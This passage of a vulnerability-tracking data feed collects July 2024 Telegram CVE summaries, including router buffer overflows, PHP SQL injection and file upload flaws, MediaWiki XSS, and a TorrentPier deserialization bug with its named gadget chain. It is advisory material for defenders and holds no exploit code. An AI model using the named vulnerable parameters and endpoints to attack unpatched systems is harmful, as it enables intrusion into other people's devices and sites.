\"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40415 - Tenda AX1806 Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40415 \nPublished : July 15, 2024, 6:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability in /goform/SetStaticRouteCfg in the sub_519F4 function in Tenda AX1806 1.0.0.1 firmware leads to stack-based buffer overflow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T21:01:47.000000Z"}, {"uuid": "e1bedc14-2007-481c-ada2-9c8ae1061eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40801", "type": "seen", "source": "https://t.me/CyberBulletin/857", "content": "\u26a1\ufe0fCVE-2024-40801 in macOS allowed a sandboxed app to bypass TCC protections and access sensitive user data without requiring user permission.\n\n#CyberBulletin", "creation_timestamp": "2024-09-24T02:16:08.000000Z"}, {"uuid": "b95260ad-0237-4965-9f8c-8ab885074284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40535", "type": "seen", "source": "https://t.me/cvedetector/1007", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40535 - Shenzhen Libituo Technology LBT-T300-T400 Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40535 \nPublished : July 16, 2024, 9:15 p.m. | 31\u00a0minutes ago \nDescription : Shenzhen Libituo Technology Co., Ltd LBT-T300-T400 v3.2 was discovered to contain a stack overflow via the apn_name_3g parameter in the config_3g_para function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T23:48:59.000000Z"}, {"uuid": "78f9a175-1f6a-406b-8f7e-1f9b69d4b780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40536", "type": "seen", "source": "https://t.me/cvedetector/1006", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40536 - Shenzhen Libituo Technology Co., Ltd LBT-T300-T400 Stack-Based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40536 \nPublished : July 16, 2024, 9:15 p.m. | 31\u00a0minutes ago \nDescription : Shenzhen Libituo Technology Co., Ltd LBT-T300-T400 v3.2 were discovered to contain a stack overflow via the pin_3g_code parameter in the config_3g_para function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T23:48:58.000000Z"}, {"uuid": "b14ca982-0fb8-4683-a973-cfb5367f7dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40515", "type": "seen", "source": "https://t.me/cvedetector/1004", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40515 - Tenda AX2pro Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40515 \nPublished : July 16, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : An issue in SHENZHEN TENDA TECHNOLOGY CO.,LTD Tenda AX2pro V16.03.29.48_cn allows a remote attacker to execute arbitrary code via the Routing functionality. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:58:50.000000Z"}, {"uuid": "4e3e0091-a4bd-428a-86d6-ff00697048ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40455", "type": "seen", "source": "https://t.me/cvedetector/1003", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40455 - ThinkSAAS File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40455 \nPublished : July 16, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : An arbitrary file deletion vulnerability in ThinkSAAS v3.7 allows attackers to delete arbitrary files via a crafted request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:58:49.000000Z"}, {"uuid": "724b0fff-301f-46dc-8ead-e1b3c1506e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40505", "type": "seen", "source": "https://t.me/cvedetector/1002", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40505 - D-Link DAP-1650 Directory Traversal Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40505 \nPublished : July 16, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : **UNSUPPORTED WHEN ASSIGNED** Directory Traversal vulnerability in D-Link DAP-1650 Firmware v.1.03 allows a local attacker to escalate privileges via the hedwig.cgi component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:58:48.000000Z"}, {"uuid": "9858786b-a431-4fb5-bfe9-91d292501f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40516", "type": "seen", "source": "https://t.me/cvedetector/992", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40516 - H3C Magic RC3000 Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40516 \nPublished : July 16, 2024, 7:15 p.m. | 40\u00a0minutes ago \nDescription : An issue in H3C Technologies Co., Limited H3C Magic RC3000 RC3000V100R009 allows a remote attacker to execute arbitrary code via the Routing functionality. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:08:26.000000Z"}, {"uuid": "b4fb197f-d01b-4c88-b8ee-f4f8e3a2a453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40392", "type": "seen", "source": "https://t.me/cvedetector/1000", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40392 - SourceCodester Pharmacy SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40392 \nPublished : July 16, 2024, 7:15 p.m. | 40\u00a0minutes ago \nDescription : SourceCodester Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code 1.0 was discovered to contain a SQL injection vulnerability via the name parameter under addnew.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:08:36.000000Z"}, {"uuid": "0717799d-6dfa-4de8-996b-dc72fc59fc56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40394", "type": "seen", "source": "https://t.me/cvedetector/998", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40394 - \"SambaTech Simple Library Management System PHP File Upload Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-40394 \nPublished : July 16, 2024, 7:15 p.m. | 40\u00a0minutes ago \nDescription : Simple Library Management System Project Using PHP/MySQL v1.0 was discovered to contain an arbitrary file upload vulnerability via the component ajax.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:08:35.000000Z"}, {"uuid": "d483db42-22e5-4bda-9c37-52aef95cdbef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40393", "type": "seen", "source": "https://t.me/cvedetector/996", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40393 - Medical Manager SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40393 \nPublished : July 16, 2024, 7:15 p.m. | 40\u00a0minutes ago \nDescription : Online Clinic Management System In PHP With Free Source code v1.0 was discovered to contain a SQL injection vulnerability via the user parameter at login.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:08:30.000000Z"}, {"uuid": "11aa269a-03a1-4b97-bd18-3267f8f73acd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40130", "type": "seen", "source": "https://t.me/cvedetector/995", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40130 - Open5GS AMF Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40130 \nPublished : July 16, 2024, 7:15 p.m. | 40\u00a0minutes ago \nDescription : open5gs v2.6.4 is vulnerable to Buffer Overflow. via /lib/core/abts.c. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:08:29.000000Z"}, {"uuid": "2b9cd053-5ed9-41ae-8d98-18d47f95ce75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40503", "type": "seen", "source": "https://t.me/cvedetector/993", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40503 - Tenda AX12 Denial of Service (DoS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40503 \nPublished : July 16, 2024, 7:15 p.m. | 40\u00a0minutes ago \nDescription : An issue in Tenda AX12 v.16.03.49.18_cn+ allows a remote attacker to cause a denial of service via the Routing functionality and ICMP packet handling. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T22:08:27.000000Z"}, {"uuid": "7704654a-54db-4774-b2d1-1d841bb7e371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40425", "type": "seen", "source": "https://t.me/cvedetector/987", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40425 - Nanjin Xingyuantu Technology Co Sparkshop File Upload Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40425 \nPublished : July 16, 2024, 6:15 p.m. | 37\u00a0minutes ago \nDescription : File Upload vulnerability in Nanjin Xingyuantu Technology Co Sparkshop (Spark Mall B2C Mall v.1.1.6 and before allows a remote attacker to execute arbitrary code via the contorller/common.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T21:18:15.000000Z"}, {"uuid": "6cc5044d-0158-4670-b43c-709d0f46dde9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40322", "type": "seen", "source": "https://t.me/cvedetector/973", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40322 - JFinalCMS SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40322 \nPublished : July 16, 2024, 4:15 p.m. | 26\u00a0minutes ago \nDescription : An issue was discovered in JFinalCMS v.5.0.0. There is a SQL injection vulnerablity via /admin/div_data/data \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-16T18:47:46.000000Z"}, {"uuid": "353fc053-ca7d-48f6-85fd-c7dab34ca724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40560", "type": "seen", "source": "https://t.me/cvedetector/880", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40560 - Alibaba Tmall SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40560 \nPublished : July 15, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Tmall_demo before v2024.07.03 was discovered to contain a SQL injection vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T19:21:27.000000Z"}, {"uuid": "bbba6de6-e442-4c97-86d3-a27e416c1a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40414", "type": "seen", "source": "https://t.me/cvedetector/881", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40414 - Tenda AX1806 Stack-Based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40414 \nPublished : July 15, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability in /goform/SetNetControlList in the sub_656BC function in Tenda AX1806 1.0.0.1 firmware leads to stack-based buffer overflow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T20:11:35.000000Z"}, {"uuid": "8f9f0410-566c-41e9-bc86-ad73cfa0fad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40631", "type": "seen", "source": "https://t.me/cvedetector/896", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40631 - \"Plate Media XSS Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-40631 \nPublished : July 15, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : Plate media is an open source, rich-text editor for React. Editors that use `MediaEmbedElement` and pass custom `urlParsers` to the `useMediaState` hook may be vulnerable to XSS if a custom parser allows `javascript:`, `data:` or `vbscript:` URLs to be embedded. Editors that do not use `urlParsers` and consume the `url` property directly may also be vulnerable if the URL is not sanitised. The default parsers `parseTwitterUrl` and `parseVideoUrl` are not affected. `@udecode/plate-media` 36.0.10 resolves this issue by only allowing HTTP and HTTPS URLs during parsing. This affects only the `embed` property returned from `useMediaState`. In addition, the `url` property returned from `useMediaState` has been renamed to `unsafeUrl` to indicate that it has not been sanitised. The `url` property on `element` is also unsafe, but has not been renamed. If you're using either of these properties directly, you will still need to validate the URL yourself. Users are advised to upgrade. Users unable to upgrade should ensure that any custom `urlParsers` do not allow `javascript:`, `data:` or `vbscript:` URLs to be returned in the `url` property of their return values. If `url` is consumed directly, validate the URL protocol before passing it to the `iframe` element. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T21:52:10.000000Z"}, {"uuid": "0700209a-73ce-4ad0-b725-b7fe1e6e3b5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40624", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/903", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40624 - TorrentPier PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40624 \nPublished : July 15, 2024, 8:15 p.m. | 22\u00a0minutes ago \nDescription : TorrentPier is an open source BitTorrent Public/Private tracker engine, written in php. In `torrentpier/library/includes/functions.php`, `get_tracks()` uses the unsafe native PHP serialization format to deserialize user-controlled cookies. One can use phpggc and the chain Guzzle/FW1 to write PHP code to an arbitrary file, and execute commands on the system. For instance, the cookie bb_t will be deserialized when browsing to viewforum.php. This issue has been addressed in commit `ed37e6e52` which is expected to be included in release version 2.4.4. Users are advised to upgrade as soon as the new release is available. There are no known workarounds for this vulnerability. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T22:42:27.000000Z"}, {"uuid": "93055415-2dfb-4f6d-8291-2c08e040dbb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40630", "type": "seen", "source": "https://t.me/cvedetector/901", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40630 - OpenImageIO Heif Input Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40630 \nPublished : July 15, 2024, 8:15 p.m. | 22\u00a0minutes ago \nDescription : OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation via a format-agnostic API with a feature set, scalability, and robustness needed for feature film production. In affected versions there is a bug in the heif input functionality of OpenImageIO. Specifically, in `HeifInput::seek_subimage()`.  In the worst case, this can lead to an information disclosure vulnerability, particularly for programs that directly use the `ImageInput` APIs. This bug has been addressed in commit `0a2dcb4c` which is included in the 2.5.13.1 release. Users are advised to upgrade. There are no known workarounds for this issue. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T22:42:25.000000Z"}, {"uuid": "63d780a5-4687-4793-8eec-9ab6c38ca106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40627", "type": "seen", "source": "https://t.me/cvedetector/900", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40627 - Fastapi OPA Entity Discovery Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40627 \nPublished : July 15, 2024, 8:15 p.m. | 22\u00a0minutes ago \nDescription : Fastapi OPA is an opensource fastapi middleware which includes auth flow. HTTP `OPTIONS` requests are always allowed by `OpaMiddleware`, even when they lack authentication, and are passed through directly to the application. `OpaMiddleware` allows all HTTP `OPTIONS` requests without evaluating it against any policy. If an application provides different responses to HTTP `OPTIONS` requests based on an entity existing (such as to indicate whether an entity is writable on a system level), an unauthenticated attacker could discover which entities exist within an application. This issue has been addressed in release version 2.0.1. All users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 5.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T22:42:24.000000Z"}, {"uuid": "8891140a-790d-467d-9cb5-4c6065fc60bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40553", "type": "seen", "source": "https://t.me/cvedetector/879", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40553 - Tmall_demo File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40553 \nPublished : July 15, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Tmall_demo v2024.07.03 was discovered to contain an arbitrary file upload via the component uploadUserHeadImage. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T19:21:26.000000Z"}, {"uuid": "6815b834-6a2c-41cc-abbf-ec034fdc2807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40554", "type": "seen", "source": "https://t.me/cvedetector/878", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40554 - Tmall Demo Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40554 \nPublished : July 15, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An access control issue in Tmall_demo v2024.07.03 allows attackers to obtain sensitive information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T19:21:25.000000Z"}, {"uuid": "ecadc8eb-1ec5-4ce6-8375-df8098bd41af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40555", "type": "seen", "source": "https://t.me/cvedetector/877", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40555 - Alibaba Tmall Demonstration arbitrary file upload vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40555 \nPublished : July 15, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Tmall_demo v2024.07.03 was discovered to contain an arbitrary file upload vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-15T19:21:24.000000Z"}, {"uuid": "f82d53ec-0413-4adb-a5fb-95408ee42b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40605", "type": "seen", "source": "https://t.me/cvedetector/155", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40605 - An issue was discovered in the Foreground skin for\", \n  \"Content\": \"CVE ID : CVE-2024-40605 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the Foreground skin for MediaWiki through 1.42.1. There is stored XSS via MediaWiki:Sidebar top-level menu entries. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:27.000000Z"}, {"uuid": "17713fe6-a7e7-438c-9b55-0f22a3f5a7ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40603", "type": "seen", "source": "https://t.me/cvedetector/156", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40603 - An issue was discovered in the ArticleRatings exte\", \n  \"Content\": \"CVE ID : CVE-2024-40603 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the ArticleRatings extension for MediaWiki through 1.42.1. Special:ChangeRating allows CSRF to alter data via a GET request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:28.000000Z"}, {"uuid": "522335a7-79e1-4a62-bb54-7557e6740c5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40604", "type": "seen", "source": "https://t.me/cvedetector/154", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40604 - An issue was discovered in the Nimbus skin for Med\", \n  \"Content\": \"CVE ID : CVE-2024-40604 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the Nimbus skin for MediaWiki through 1.42.1. There is Stored XSS via MediaWiki:Nimbus-sidebar menu and submenu entries. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:27.000000Z"}, {"uuid": "5ecc0587-1700-4cb0-bb44-2c5885c96988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40598", "type": "seen", "source": "https://t.me/cvedetector/153", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40598 - An issue was discovered in the CheckUser extension\", \n  \"Content\": \"CVE ID : CVE-2024-40598 \nPublished : July 7, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in the CheckUser extension for MediaWiki through 1.42.1. The API can expose suppressed information for log events. (The log_deleted attribute is not applied to entries.) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-07T02:57:26.000000Z"}, {"uuid": "126f8978-225c-44ee-8958-1a1f60cdc0aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40614", "type": "seen", "source": "https://t.me/cvedetector/163", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40614 - EGroupware before 23.1.20240624 mishandles an ORDE\", \n  \"Content\": \"CVE ID : CVE-2024-40614 \nPublished : July 7, 2024, 3:15 p.m. | 19\u00a0minutes ago \nDescription : EGroupware before 23.1.20240624 mishandles an ORDER BY clause. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": 